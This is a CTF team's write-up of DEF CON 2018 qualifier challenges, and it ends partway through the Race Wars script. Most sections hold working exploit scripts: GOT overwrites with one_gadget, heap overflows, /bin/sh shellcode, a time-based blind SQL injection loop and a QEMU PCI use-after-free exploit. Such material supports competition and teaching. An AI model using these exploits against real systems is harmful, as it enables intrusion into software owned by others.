DEF CON CTF Qualifier 2018

Written by BFS

BFS consists of four CTF teams form Taiwan: Balsn, Bamboofox, DoubleSigma, KerKerYuan.

Amuse Bouche

ELF Crumble

Original binary in range 0x05ad ~ 0x08d3 is filled with X. Search through all 8! permutation of fragments to get the flag.

You Already Know - warmup

  • Open the problem -> F12 -> Network -> Reopen the problem -> See the flag.
    OOO{Sometimes, the answer is just staring you in the face. We have all been there}

Easy Pisy - crypto, web

  • Service

    • First service : Server will Recognized pdf input via OCR and sign (by openssl_sign($data, $signature, $privkey), but it will reject to sign on EXECUTE command)

    • Second one : Give the signed value and pdf, this service will execute the command(extracted by ocr) if the signed verify.

  • We found that this function will sha1(data) before signing.

Therefore, draw two command on picture,and put them into the pdf, Google released last year, to get two pdf with sha1-collision.

  1. send the picutre 1 (without EXECUTE) to first service to get the signature

  2. pass this signature and sha1-collision pdf ( with EXECUTE cat<flag) to get the flag.

python script

babypwn1805 - pwn

  • Overwrite the pointer of program name, and trigger SSP -> leak information.
  • Get serveral libc.
  • Overwite GOT read with onegadget -> with probability 1/16 (correct libc).
  • /opt/ctf/babypwn/home/flag.
  • OOO{to_know_the_libc_you_must_become_the_libc}
#!/usr/bin/env python
from pwn import *
import sys
import struct
import hashlib
import random
from threading import Timer

# OOO{to_know_the_libc_you_must_become_the_libc}

def pow_hash(challenge, solution):
    return hashlib.sha256(challenge.encode('ascii') + struct.pack('<Q', solution)).hexdigest()

def check_pow(challenge, n, solution):
    h = pow_hash(challenge, solution)
    return (int(h, 16) % (2**n)) == 0

def solve_pow(challenge, n):
    candidate = 0
    while True:
        if check_pow(challenge, n, candidate):
            return candidate
        candidate += 1


def hit():
    cmd = 'id;LD_PRELOAD='';'
    cmd += 'cat /opt/ctf/babypwn/home/flag;'
    cmd += 'ls -al /opt/ctf/babypwn/home/;'
    cmd += 'source /opt/ctf/babypwn/flag.txt 2>&1;'
    #cmd += 'python -c \'import pty; pty.spawn("/bin/bash")\''
    y.sendline( cmd )
    print y.recv( 2048 )


host , port = 'e4771e24.quals2018.oooverflow.io' , 31337
y = remote( host , port )

y.recvuntil( ': ' )
challenge = y.recvline().strip()
y.recvuntil( ': ' )
n = int( y.recvline() )
y.sendlineafter( ':' , str( solve_pow(challenge, n) ) )

success( 'Go' )

t = 0.3
y.recvuntil( 'Go\n' )

for i in xrange( 0x10000 ):
    y.send( p64( 0xffffffffffffffc8 ) )
    p = 0xae77
    y.send( p16( p ) )
    t = Timer(1.0, hit)
    t.start()
    y.recvuntil( 'Go' , timeout=1 )
    t.cancel()

sbva - Web

This is one of the easiest challenges in the comptition.

First, we are given the admin's username and password to login, but the server will return Incompatible browser detected. How does the server derect our browser? A quick guess is through the User-Agent header. So what if the header does not contain the user agent string?

$ curl 'http://0da57cd5.quals2018.oooverflow.io/login.php' -d 'username=admin@oooverflow.io&password=admin' -H 'User-Agent:'`

<br />
<b>Notice</b>:  Undefined index: HTTP_USER_AGENT in <b>/var/www/html/browsertest.php</b> on line <b>3</b><br />

<html>
    <style scoped>
        h1 {color:red;}
        p {color:blue;} 
    </style>
    <video id="v" autoplay> </video>
    <script>
        if (navigator.battery.charging) {
            console.log("Device is charging.")
        }
    </script>
</html>

A PHP error occurs above, so the server actually infers our browser through the user agent header. However, there are various user-agent. It's sorts of silly to try each of them since the server might detect the version number as well.

In order to reduce possible user agent, navigator.battery in javascript is an important clue. It seems that only Chrome and Firefox support this.

Let's try Firefox with different version number first. The Firefox user agent spcification is here, though I'm just blindly trying the possibile version number without following the specification.

#!/usr/bin/env python3
# Python 3.6.5
import requests
from itertools import product

s = requests.session()                                                                                                                  
for i, j in product(range(0, 6), range(0, 51)):
    agent = f'Mozilla/{i}.0 (Windows NT 10.0; WOW64; rv:{j}.0) Gecko/20100101 Firefox/{j}.0'
    headers={'User-Agent': agent}
    r = s.post('http://0da57cd5.quals2018.oooverflow.io/login.php', data=dict(username='admin@oooverflow.io', password='admin'), headers=headers)
    print(r.text, i, j)

Surprisingly, we get the flag when the user agent is Mozilla/5.0 (Windows NT 10.0; WOW64; rv:42.0) Gecko/20100101 Firefox/42.0.

Flag: OOO{0ld@dm1nbr0wser1sth30nlyw@y}

Appetizers

It's-a me!

  • When odering pizza, Mario checks whether the pineapple Emoji Unicode (\xF0\x9F\x8D\x8D) exists for each ingridient, so we can split the Unicode into two ingridients ('\xF0\x90\xF0\x9F' and '\x8D\x8D') to bypass Mario's check
  • After cooking a pizza with fake pinapple (ā€™\xF0\x90\xF0\x9Fā€™ and ā€˜\x8D\x8Dā€™), it will trigger a heap overflow vulnerability.
  • By ordering and cooking some pizzas between the ordering and cooking of the fake pinapple pizza, we can make the heap overflow overwrite the pointer to the ingredient. Since at first we don't have any addresses and the read function appends null byte at the end, we make it so that the pointer to the ingredient with LSB overflowed by 0x00 points to a heap address. Cook the pizza and we leak heap address.
  • We use the same way to leak libc address, but since now we have heap address, we don't have to partial overwrite the pointer to the ingridient with null byte anymore.
  • The way to hijack control flow is similar too. There is a pointer to a function pointer on each pizza cooked, which is call when they are admired. We overflow that with one_gadget.
  • OOO{cr1m1n4l5_5h0uld_n07_b3_r3w4rd3d_w17h_fl4gs}
#!/usr/bin/env python2

from pwn import *
from IPython import embed
from subprocess import check_output
import re

context.arch = 'amd64'

r = remote('83b1db91.quals2018.oooverflow.io', 31337)

def PoW():
    r.recvuntil('Challenge: ')
    x = r.recvline().strip()
    r.recvuntil('n: ')
    xx = r.recvline().strip()
    x = subprocess.check_output(['./pow.py', x, xx])
    xx = re.findall('Solution: (.*) ->', x)[0]
    r.sendlineafter('Solution:', xx)

PoW()

def new(name):
    r.sendlineafter('Choice:', 'N')
    r.sendlineafter('name?', name)

def login(name):
    r.sendlineafter('Choice:', 'L')
    r.sendlineafter('name?', name)

def order(pn, ign, igs):
    r.sendlineafter('Choice:', 'O')
    r.sendlineafter('pizzas?', str(pn))
    for i in range(pn):
        r.sendlineafter('ingredients?', str(ign[i]))
        for j in range(ign[i]):
            r.sendlineafter('ingridient', flat(igs[i][j]))

def cook(decl):
    r.sendlineafter('Choice:', 'C')
    r.sendlineafter('explain', decl)

def admire():
    r.sendlineafter('Choice:', 'A')

def leave():
    r.sendlineafter('Choice:', 'L')

def please(payload):
    r.sendlineafter('Choice:', 'P')
    r.sendlineafter('yourself:', payload)

pineapple = 0x8d8d9ff0
tomato = 0x858d9ff0
chicken = 0x94909ff0
banana = 0x8c8d9ff0
poo = 0xa9929ff0

new('A')
order(1, [2], [['\xf0\x90\xf0\x9f', '\x8d\x8d']])
leave()

new('B'*0x30)
order(1, [1], [[tomato]])
leave()

login('B'*0x30)
cook('a'*290)
leave()

new('C'*0x50)
n = 4
order(1, [n], [['a'*20]*n])
leave()

login('A')
cook('a')
please('C'*32)

login('C'*0x50)
cook('a')
x = r.recvuntil('USER MENU')
xx = re.findall('BadPizza: (.*)aaaaaaaaaaaaaaaaaaaaa', x)[0]
heap = u64(xx.ljust(8, '\x00'))-0x11e30
print 'heap:', hex(heap)

# exaust heap
leave()
new('D')
order(1, [2], [['\xf0\x90\xf0\x9f', '\x8d\x8d']])
leave()
for i in range(9):
    new(chr(0x45+i))
    order(1, [1], [[tomato]])
    leave()

new('N')
order(1, [2], [['\xf0\x90\xf0\x9f', '\x8d\x8d']])
leave()

new('O'*0x30)
n = 4
order(1, [n], [['a'*16]*n])
leave()

login('M')
cook('a'*290)
leave()

login('N')
cook('a')
#raw_input("@3")
please('C'*24+flat(
    0x91,
    heap+0x132c8, 0x10,
    0x10, 0,
    heap+0x132c8,
)+'\x10')

login('O'*0x30)
cook('a')
x = r.recvuntil('USER MENU')
xx = re.findall('BadPizza: (.*)aaaaaaaaaaaaaaaaaaaaa', x)[0][:6]
libc = u64(xx.ljust(8, '\x00'))-0x3c4b78
print 'libc:', hex(libc)
system = libc+0x45390
magic = libc+0xf1147
leave()

login('D')
cook('a')
#raw_input("@2")
please(flat(
    [0]*3, 0x21,
    heap+0x138f0, 0,
    0, 0x41,
    heap+0x138f0+0x10, heap+0x13930,
    magic,
))
login('O'*0x30)
admire()

r.interactive()

shellql

  • We can upload our shellcode and it will be executed
  • They set prctl(22, 1LL); so we can only trigger read write exit
  • We can communicate with mysql via fd 4
  • According to this, we can forge a correct mysql packet
  • However, we cannot read from mysql
  • Time to use time-based attack SELECT 1 from flag where (select substring(flag,1,4) from flag) = "OOO{" and SLEEP(10);

  • The exploit script:

# coding: utf-8
from pwn import *
import requests
import string
import hashlib
context.arch='amd64'
def mdd5(ss):
    print ss
    a=hashlib.md5()
    a.update(ss)
    return a.hexdigest()
def run(code, timeout=1):
    s = asm(code)
    assert( '\0' not in s and len(s) < 1000)
    try:
        req = requests.post('http://b9d6d408.quals2018.oooverflow.io/cgi-bin/index.php', data={
            'shell': s
        }, timeout=timeout)
    except requests.exceptions.ReadTimeout:
        print ('Timeout')
        return 1
    else:
        return 0

def qqq(payload):
    lenn=p32(len(payload)+1)[0]
    pp=lenn+'\x00\x00\x00\x03'+payload
    a=run(shellcraft.write(4, pp, len(pp)) + 'xor rax, rax;' + shellcraft.read(4, 'esp', 4) + 'inc rax; cmp rax, 1; jge .+0; ret', timeout=4)
    return a

flag=""
for i in range(70):
  for j in "y SQL"+string.printable:
    if qqq('SELECT 1 from flag where (select substring(flag,1,'+str(len(flag)+1)+') from flag) = "'+flag+j+'" and SLEEP(10);') == 1:
      flag+=j
      print flag
      break

flag2="OOO{"
for i in range(4,70):
  if qqq('SELECT 1 from flag where (select md5(substring(flag,'+str(i)+',1)) from flag) = "'+mdd5(flag[i].upper())+'" and SLEEP(10);')  == 1:
    flag2+=flag[i].upper()
  else:
    flag2+=flag[i].lower()
  print flag2


## flag is OOO{shellcode and webshell is old news, get with the times my friend!}

flagsifier - Reverse

  • Part 1
    Behavior
    • Input is composed of 38 28x28 handwritten English characters.
    • Random combination of characters will be predicted as class 3.
    • Repeat a character 38 times will be predicted as class 14~39, which is class A~Z.
    • Using gradient ascent on input image will not produce readable picture. When we add a constraint that all 38 characters should be the same, class 14~39 can generate input with score 1, but failed on class 1~13. Implies that class 1~13 is consists of multiple characters.
    • Start with random combination of characters, we use Simulated Annealing to replace characters in input image. We can generate input image for each class with very high score. The images is not unique, but will be similar to ground truth.
    • Class 0 starts with a lot of O that isn't like a flag.
    • Class 1 is OOOTHISISA.....MESSAGETOWASTEYOURTIME which is a fake flag.
    • Class 2 starts with OOO.
    • Class 3~13 doesn't start with OOO.
    • We guessed Class 2 is true flag, so we generate a lot of possible input images to get probabilities of each character at each position.
    • Code:
#!/usr/bin/python3
import sys

dim = int(sys.argv[1])

flag = '......................................'

reset = False # Change to False when known part is long enough
#  flag = 'OOOOOOOOOOOOOOOOI.....................' # dim = 0
#  flag = 'OOOOTHISISA.....MESSAGETOWASTEYOURTIME' # dim = 1
flag = 'OOO.............INTELLIGENCEISREQUIRED' # dim = 2


import numpy as np
from PIL import Image
import os
from tqdm import tqdm, trange
import random
from keras.models import load_model, Model


model = load_model('model.h5')
model = Model(input=model.input, output=model.layers[-2].output)

data = [np.asarray(Image.open('sample_%d.png' % i)).reshape(28, 1064).astype(np.float) for i in range(10)]
data = [im for d in data for im in np.split(d, 38, axis=1)]
char = ''.join([
    'RUNNEISOSTRICHESOWNINGMUSSEDPURIMSCIUI',
    'MOLDERINGIINTELSDEDICINGCOYNESSDEFIECT',
    'AMADOFIFESINSTIIIINGGREEDIIVDISIOCATIN',
    'HAMIETSENSITIZINGNARRATIVERECAPTURINGU',
    'EIECTROENCEPHAIOGRAMSPALATECONDOIESPEN',
    'SCHWINNUFAMANAGEABLECORKSSEMICIRCIESSH',
    'BENEDICTTURGIDITYDSYCHESPHANTASMAGORIA',
    'TRUINGAIKALOIDSQUEILRETROFITBIEARIESTW',
    'KINGFISHERCOMMONERSUERIFIESHORNETAUSTI',
    'LIQUORHEMSTITCHESRESPITEACORNSGOALREDI',
])
data = list(zip(data, char))

def softmax(x):
    """Compute softmax values for each sets of scores in x."""
    e_x = np.exp(x - np.max(x))
    return e_x / e_x.sum()


for z in trange(100):
    if reset or z == 0:
        img, text = zip(*random.sample(data, 38))
        img = np.concatenate(img, 1).reshape(1, 28, 1064, 1)
        text = list(text)
        r = model.predict([img])[0]
        score = r[dim]
    bar = trange(1000)
    bar.desc = '%s: %.1f ( %4d )' % (''.join(text), softmax(r)[dim], score)
    for i in bar:
        cur = img.copy()
        while True:
            idx = random.randrange(0, 38)
            im, c = random.sample(data, 1)[0]
            if text[idx] != flag[idx] or flag[idx] == c:
                break
        cur[0,:, idx*28:(idx+1)*28,0] = im
        r = model.predict([cur])[0]
        s = r[dim]
        if ( text[idx] != flag[idx] and flag[idx] == c ) or s > score or random.random() < (100/(i+100 + z *10)) ** 4:
            text[idx] = c
            bar.desc = '%s: %.1f ( %4d )' % (''.join(text), softmax(r)[dim], score)
            score = s
            img = cur
    tqdm.write(''.join(text))
    bar.close()
  • Part 2

    • Use dictionary and trie to find all the possible sentences.
    • Dictionary: https://raw.githubusercontent.com/first20hours/google-10000-english/master/google-10000-english.txt
    • Remember to remove the useless words that length is in range 1~3.
    • Code:

        #include<bits/stdc++.h>
        #define f first
        #define s second
        using namespace std;
        //typedef pair<int,int>par;
        typedef pair<double,double>par;
        int nod[1000005][26],id=2;
        bool ok[1000005];
        string ans;
        vector<int>ve[38];
        void F(int nw,int now){
            if(nw==38){
                if(now==1)cout<<ans<<endl;
                return ;
            }
            for(int x:ve[nw]){
                if(!nod[now][x])continue;
                ans.push_back('A'+x);
                F(nw+1,nod[now][x]);
                if(ok[nod[now][x]]){
                    ans.push_back(' ');
                    F(nw+1,1);
                    ans.pop_back();
                }
                ans.pop_back();
            }
        }
        int main(){
            string s;
            int count=0;
            while(cin>>s){
                if(s=="0")break;
                if(++count>1000&&s.length()<=3)continue;
                int now=1;
                for(char &c:s){
                    c|=32;
                    if(!nod[now][c-'a'])
                        nod[now][c-'a']=id++;
                    now=nod[now][c-'a'];
                }
                ok[now]=1;
            }
            while(cin>>s){
                if(s=="0")break;
                for(char &c:s)
                    c|=32;
                for(int i=0;i<38;i++)
                    ve[i].push_back(s[i]-'a');
            }
            for(int i=0;i<38;i++)
                sort(ve[i].begin(),ve[i].end()),
                ve[i].resize(unique(ve[i].begin(),ve[i].end())-ve[i].begin());
            F(0,1);
            //for(int i=0;i<38;i++)
            return 0;
        }
    • input

        [The Dictionary]
        0
        OOOTOYEUUTHTNTICINTELLIGENCEISREQUIRED
        OOOTOYEGUTHTNTICINTELLIGENCEISREQUIRED
        OOOIOYCUUTUCNTICINTELLIGENCEISREQUIRED
        OOOSOYEUUCUTNTICINTELLIGENCEISREQUIRED
        OOOTOYCGLCHENTICINTELLIGENCEISREQUIRED
        OOOTOYCUUCUCNTUCINTELLIGENCEISREQUIRED
        OOOIOYEULTUTNTICINTELLIGENCEISREQUIRED
        OOOSOYCULTUCNTICINTELLIGENCEISREQUIRED
        OOOTOYEAUTUTWCICINTELLIGENCEISREQUIRED
        OOOSOYEOUTUTNTICINTELLIGENCEISREQUIRED
        OOOSOYCGHTUENTICINTELLIGENCEISREQUIRED
        OOOTOYCGLTYCNTICINTELLIGENCEISREQUIRED
        OOOTOYEUUTUTNTICINTELLIGENCEISREQUIRED
        OOOTOYEAUTUTNCICINTELLIGENCEISREQUIRED
        OOOSOYCUUTHCNTIOINTELLIGENCEISREQUIRED
        OOOSOORONTNCNTIOINTELLIGENCEISREQUIRED
        OOOSOMCSHTGCWTICINTELLIGENCEISREQUIRED
        OOOTOMEOGTSTNTITINTELLIGENCEISREQUIRED
        OOOIOOEHUTUTNTITINTELLIGENCEISREQUIRED
        OOOINOEUUTATHTICINTELLIGENCEISREQUIRED
        OOOTCMCSNSATNTICINTELLIGENCEISREQUIRED
        OOOTGWRSUTNCNTICINTELLIGENCEISREQUIRED
        OOOSOQEAUIUCWSICINTELLIGENCEISREQUIRED
        OOOTOOECHIUCNTIGINTELLIGENCEISREQUIRED
        OOOTOWEGHSOTHTIEINTELLIGENCEISREQUIRED
        OOOSOMEGNTOENTILINTELLIGENCEISREQUIRED
        OOOSCOCGNTHTNTILINTELLIGENCEISREQUIRED
        OOOSONEGNTNCNTICINTELLIGENCEISREQUIRED
        OOOSCOCYNTOTUTICINTELLIGENCEISREQUIRED
        OOOSDUEONCOTLTIOINTELLIGENCEISREQUIRED
        OOOTDUCONTNTLTIDINTELLIGENCEISREQUIRED
        OOOTCMCGNCNTNTITINTELLIGENCEISREQUIRED
        OOOTQYFGNTATNTUEINTELLIGENCEISREQUIRED
        OOOSDUECLTUTNTICINTELLIGENCEISREQUIRED
        OOOTOWCUNTUTNTILINTELIIGENCEISREOUIRED
        OOOTOMSGUTHENTICINTELLIGENCEISREOUIRED
        OOOTOUTGLTOENCUCINTELLIGENCEISREQUIRED
        OOOTOUEUUTNENTICINTELLIGENCEISREQUIRED
        OOOTOMEGUTOENCICINTELLIGENCEISREQUIRED
        OOOTONEGLTUCNTIOINTELLIGENCEISREQUIRED
        OOOTOOEANTSENTICINTELLIGENCEISREQUIRED
        OOOTOUEUUTUELIICINTELLIGENCEISREQUIRED
        OOOTOMCAUTYENCICINTELLIGENCEISREQUIRED
        OOOTOYCCNTYTWTICINTELLIGENCEISREQUIRED
        OOOTOOCANCUTNTICINTELLIGENCEISREQUIRED
        OOOTOMEINIHENTICINTELLIGENCEISREQUIRED
        OOOTOYEUNTYTNTICINTELLIGENCEISREQUIRED
        OOOTOOEUUTHCNTICINTELLIGENCEISREQUIRED
        OOOTOMCULTUTNTIOINTELLIGENCEISREQUIRED
        OOOTOMEYNTUENTICINTELLIGENCEISREQUIRED
        OOOYOMEUMTURMIJCINTELLIGENCEISREQUIRED
        OOOIDMEUMTURWYJCINTELLIGENCEISREQUIRED
        OOOLDMEUMTURWYLCINTELLIGENCEISREQUIRED
        0
    • Flag: OOOSOMEAUTHENTICINTELLIGENCEISREQUIRED

Note Oriented Programming

  • Setup the value on the stack and call sys_sigreturn
  • After that, eax = 0x3 ebx=0x0 ecx=0x6060654f edx=0x4f4f4f4f cs=0x23 ss=0x2b ds=0x2b
  • Now eip is 0x60606565 pointer to "int 0x80" to call sys_read
  • Then, write shellcode on the 0x6060654f to get shell
from __future__ import print_function
import sys
import struct
import hashlib
from pwn import *
# inspired by C3CTF's POW

table = ['A' , 'A#' , 'B' , 'C' , 'C#' , 'D' , 'D#' , 'E' , 'F' , 'F#' , 'G' , 'G#']

def val(x):
        a = table.index(x[:-1])*1.0
        b = float(x[-1])
        return (2.0**(b+a/12.0))*27.5


cmd = ["F9","G0"]*0xe
cmd += ["G9","G0"]*0x40
cmd += ["A2","G0","A0","G0"]
cmd += ["G0","G0"]*0xb
cmd += ["A2","F2","A4","A9","E0","A4","G9","E0"]
cmd += ["G0","G0"]
cmd += ["A2","F2","A4","A9","E0","A4","G9","E0"]
cmd += ["G0","G0"]*0x17
cmd += ["G9","G0"]*0x6
cmd += ["A2","F8"] 
cmd += ["A0","G0"]
cmd += ["A4","A9","E0","A4","D9","E0"]
cmd += ["A0","G1"] 
cmd += ["A0","G2"] 
cmd += ["A4","A9","E0","A4","D9","E0","A2","F8"]
cmd += ["A4","A9","E0","A4","B9","E0"] 
cmd += ["A0","G3"] 
cmd += ["A4","A9","E0","A4","B9","E0"] 
cmd += ["A0","G4"] 
cmd += ["A0","G5"] 
cmd += ["A0","G6"] 
cmd += ["G9","G0"]*6
cmd += ["G0","G0"]*8 
cmd += ["G9","G0"]
cmd += ["A2","F8"]
cmd += ["A0","G0"]
cmd += ["A0","G1"] 
cmd += ["A4","A9","E0","A4","D9","E0"] 
cmd += ["A0","G2"] 
cmd += ["A0","G3"]
cmd += ["A4","A9","E0","A4","D9","E0","A2","F9","A2","F2","A4","A9","E0","A4","F9","E0"]
cmd += ["A0","G4"]
cmd += ["A2","F9","A2","F2","A4","A9","E0","A4","F9","E0","A2","F8"] 
cmd += ["G9","G0"]*4
cmd += ["G0","G0"]*0xb
cmd += ["A2","F2","A4","A9","E0","A4","G9","E0"]
cmd += ["G0","G0"] 
cmd += ["A2","F2","A4","A9","E0","A4","G9","E0"] 
cmd += ["G0","G0"]*0xc
cmd += ["F9","G0"]*0x7 
cmd += ["A2","F8","A4","A9","E0","A4","B9","E0","G2","G0"]
cmd += ["D9","G0"]*(0x70-0x1f)+["D#7"]*0x1f

def pow_hash(challenge, solution):
    return hashlib.sha256(challenge.encode('ascii') + struct.pack('<Q', solution)).hexdigest()

def check_pow(challenge, n, solution):
    h = pow_hash(challenge, solution)
    return (int(h, 16) % (2**n)) == 0

def solve_pow(challenge, n):
    candidate = 0
    while True:
        if check_pow(challenge, n, candidate):
            return candidate
        candidate += 1

if __name__ == '__main__':
    r = remote("4e6b5b46.quals2018.oooverflow.io",31337)
    r.recvuntil("Challenge: ")
    challenge = r.recvline()[:-1]
    r.recvuntil("n: ")
    n = int(r.recvline()[:-1])
    print('Solving challenge: "{}", n: {}'.format(challenge, n))

    solution = solve_pow(challenge, n)
    print('Solution: {} -> {}'.format(solution, pow_hash(challenge, solution)))
    r.sendlineafter("Solution:",str(solution))

    for c in cmd:
        r.send(p16(val(c)))

    r.send(p16(0x0))

    payload = "\x90"*0x18
    payload += asm("""
    mov esp,0x40404a00
    push 0x0068732f
    push 0x6e69622f
    mov eax,0xb
    mov ebx,esp
    xor ecx,ecx
    xor edx,edx
    int 0x80
    """)
    r.send(payload)
    r.interactive()

From The Grill

elastic cloud compute (memory) corruption

  • It will use qemu-system-x86_64 to boot a vm
  • It tells us, we need to do something with PCI device
  • Then I found this writeup
  • Now we know that we need to exploit via /sys/devices/pci0000:00/0000:00:04.0/resource0
  • Decompile qemu-system-x86_64 and look for mmio read write function.
  • I only leveraged write funtion
  • There is a buffer which is located at 0x1317940 and three kinds of operations
  • You can malloc free write some chunks. And all the chunk will be on that buffer
  • I list the write function here:
void __fastcall OOO_mmio_write(__int64 a1, __int64 offset, __int64 value, unsigned int a4)
{
  unsigned int v4; // eax@1
  char n[12]; // [sp+4h] [bp-3Ch]@1
  __int64 v6; // [sp+10h] [bp-30h]@1
  __int64 v7; // [sp+18h] [bp-28h]@1
  __int16 v8; // [sp+22h] [bp-1Eh]@11
  int i; // [sp+24h] [bp-1Ch]@5
  unsigned int v10; // [sp+28h] [bp-18h]@1
  unsigned int v11; // [sp+2Ch] [bp-14h]@4
  unsigned int v12; // [sp+34h] [bp-Ch]@11
  __int64 v13; // [sp+38h] [bp-8h]@1

  v7 = a1;
  v6 = offset;
  *(_QWORD *)&n[4] = value;
  v13 = a1;
  v10 = ((unsigned int)a2 & 0xF00000) >> 20;
  v4 = ((unsigned int)a2 & 0xF00000) >> 20;
  if ( v4 == 1 )
  {
    free(*(&qword_1317940 + (((unsigned int)v6 & 0xF0000) >> 16)));
  }
  else if ( v4 == 2 )
  {
    v12 = ((unsigned int)v6 & 0xF0000) >> 16;
    v8 = v6;
    memcpy((char *)*(&qword_1317940 + (signed int)v12) + (signed __int16)v6, &n[4], a4);
  }
  else if ( !v4 )
  {
    v11 = ((unsigned int)v6 & 0xF0000) >> 16;
    if ( v11 == 15 )
    {
      for ( i = 0; i <= 14; ++i )
        *(&qword_1317940 + i) = malloc(8LL * *(_QWORD *)&n[4]);
    }
    else
    {
      *(&qword_1317940 + (signed int)v11) = malloc(8LL * *(_QWORD *)&n[4]);
    }
  }
}
  • The operation will be determined by IO offset. When your write offset is 0xabXXXX.
  • If a==1, then it will trigger free operation.
  • If a==2, then it will trigger write operation.
  • Otherwise, it will trigger malloc.
  • And b indicate the chunk offset on 0x1317940
  • The value will be the chunk size or the value written on the chunk
  • XXXX will be the offset on the chunk
  • There is a UAF vulnerabilty!! You can overwrite freed chunk to launch fastbin attack.
  • We can forge a fake chunk on the 0x1317940. then we can write 0x1317940. It also means that we have an arbitrary write.
  • We can overwrite GOT to hijack control flow
  • There is a magic function which is located at 0x6e65f9. It will triger system("cat ./flag")
  • Use GOT-hijacking then you can run that magic function and get the flag
  • Unfortunately we cannot upload a binary on remote vm, becasue the vm has no network connection. We can base64 encode our binary and send it to the vm. But the binary needs to be small enough, or you cannot send the whole binary because of network conditon.
  • So I write some shellcode for exploit.
  • The shellcode:
section .data
    msg db      "/sys/devices/pci0000:00/0000:00:04.0/resource0"
section .text
    global _start
_start:
    mov     rax, 2
    mov     rdi, msg
    mov     rsi, 2
    mov     rdx, 0
    syscall
    mov    rdi, 0
    mov    rsi, 0x1000000
    mov    rdx, 3
    mov    r10, 1
    mov    r8, rax
    mov    r9, 0
    mov    rax,9
    syscall
    mov    rcx, rax
    mov    WORD [rax+0x20000],0xc             # malloc a chunk on 0x1317940+0x8*2
    mov    BYTE [rax+0x120000],0xc            # free the chunk on 0x1317940+0x8*2
    mov    DWORD [rax+0x220000],0x131794d     # overwrite the fd on 0x1317940+0x8*2
    mov    DWORD [rax+0x220004],0x0           #
    mov    BYTE [rax+0x10000],0xc             # malloc once
    mov    BYTE [rax+0x10000],0xc             # malloc twice , now we have a chunk at 0x131794d
    mov    DWORD [rax+0x210000],0xa0000000    # forge a fake chunk address on 0x1317960 and the address will be free got (0x11301a0)
    mov    DWORD [rax+0x210004],0x11301       #
    mov    DWORD [rax+0x240000],0x6e65f9      # Overwrite free got. The new address will trigger system("cat ./flag")
    mov    DWORD [rax+0x240004],0x0           #
    mov    DWORD [rax+0x120000],0x0           # Trigger free and get the flag !!
    mov    rax, 60
    xor    rdi, rdi
    syscall
# nasm -felf64 a.asm -o a.o && ld a.o && base64 a.out > shellcode
  • And the code to send shellcode:
import sys
import struct
import hashlib
from pwn import *

# inspired by C3CTF's POW

def pow_hash(challenge, solution):
    return hashlib.sha256(challenge.encode('ascii') + struct.pack('<Q', solution)).hexdigest()

def check_pow(challenge, n, solution):
    h = pow_hash(challenge, solution)
    return (int(h, 16) % (2**n)) == 0

def solve_pow(challenge, n):
    candidate = 0
    while True:
        if check_pow(challenge, n, candidate):
            return candidate
        candidate += 1

r=remote("11d9f496.quals2018.oooverflow.io",31337)
r.recvuntil("Challenge:")
cha=r.recvline().strip("\n")
r.recvuntil("n:")
n=r.recvline().strip("\n")

solution = solve_pow(cha[1:], int(n))

r.sendline(str(solution))
r.recvuntil("/ #")
f=open("shellcode")
for i in f.readlines():
  r.sendline('echo "'+i.strip('\n')+'" >> 1234')
r.sendline("base64 -d 1234 > bb")
r.sendline("chmod +x ./bb")
r.sendline("./bb")
r.interactive()
# The flag is OOO{did you know that the cloud is safe}

Race Wars

  1. The vulnerability exists during the program asks for tire amount; when doing so, we can apply for 0x8000000 tires to cause int overflow (0x8000000*0x20 = 0), and make the program allocate 0-size memory, but the tires struct can still be placed on heap for us to control.
  2. Use transmission function to overlap the tires struct and transmission struct
  3. Use modify_tires functions to set all the attributes of tire as 0xffff
  4. Use modify_transmission function to get relative address read/write capability of arbitrary memory
  5. Read heap address and code GOT address to get libc address, then modify exit GOT to one_gadget, call exit, and get shell
  6. code:
from pwn import *
import sys
import time
import random
host = '2f76febe.quals2018.oooverflow.io'
port = 31337

binary = "./racewars"
context.binary = binary
elf = ELF(binary)
try:
  libc = ELF("./libc.so.6")
  log.success("libc load success")
  system_off = libc.symbols.system
  log.success("system_off = "+hex(system_off))
except:
  log.failure("libc not found !")

def new():
  pass

def edit():
  pass

def remove():
  pass

def show(start,end):
  pass
  r.recvuntil(start)
  data = r.recvuntil(end)[:-len(end)]
  return data

if len(sys.argv) == 1:
  r = process([binary, "0"], env={"LD_LIBRARY_PATH":"."})
  #r = remote("127.0.0.1" ,4444)

else:
  r = remote(host ,port)
  r.recvuntil("Challenge: ")
  Challenge = r.recvuntil("\n")[:-1]
  r.recvuntil("n:")
  n = r.recvuntil("\n")[:-1]
  r.recvuntil("Solution:")
  p = process(["/usr/bin/python", "./pow.py",Challenge ,n ])
  print "pow..."
  p.recvuntil("Solution: ")
  ans = p.recvuntil(" ")[:-1]
  r.sendline(ans)

def tires(num):
  r.recvuntil("E: ")
  r.sendline("1")
  r.recvuntil("?\n")
  r.sendline(str(num))

def chassis(option):
  r.recvuntil("E: ")
  r.sendline("2")
  r.recvuntil("pse\n")
  r.sendline(str(option))

def engine():
  r.recvuntil("E: ")
  r.sendline("3")

def transmission(option):
  r.recvuntil("E: ")
  r.sendline("4")
  r.recvuntil("? ")
  r.sendline(str(option))

def modify_tires_w(width):
  r.recvuntil("E: ")
  r.sendline("1")
  r.recvuntil(": ")
  r.sendline("1")
  r.recvuntil(": ")
  r.sendline(str(width))

def modify_tires_a(ratio):
  r.recvuntil("E: ")
  r.sendline("1")
  r.recvuntil(": ")
  r.sendline("2")
  r.recvuntil(": ")
  r.sendline(str(ratio))

def modify_tires_c(radial):
  r.recvuntil("E: ")
  r.sendline("1")
  r.recvuntil(": ")
  r.sendline("3")
  r.recvuntil(": ")
  r.sendline(str(radial))

def modify_tires_d(diameter):
  r.recvuntil("E: ")
  r.sendline("1")
  r.recvuntil(": ")
  r.sendline("4")
  r.recvuntil(": ")
  r.sendline(str(diameter))

def modify_chassis():
  r.recvuntil("E: ")
  r.sendline("2")
  r.recvuntil(": ")
  r.sendline("1")

def modify_engine():
  r.recvuntil("E: ")
  r.sendline("3")

def modify_transmission(gears,ratio,gear):
  r.recvuntil("E: ")
  r.sendline("4")
  r.recvuntil("? ")
  r.sendline(str(gears))
  r.recvuntil("gear ratio for gear " + str(gears) + " is ")
  addr = r.recvuntil(", mo")[:-4]
  r.recvuntil(": ")
  r.sendline(str(ratio))
  r.recvuntil(")")
  r.sendline(str(gear))
  return addr

def buy():
  r.recvuntil("E: ")
  r.sendline("5")

def race():
  r.recvuntil("E: ")
  r.sendline("6")

if __name__ == '__main__':
  print "start"
  tires(0x8000000)
  transmission(1)
  chassis(1)
  engine()
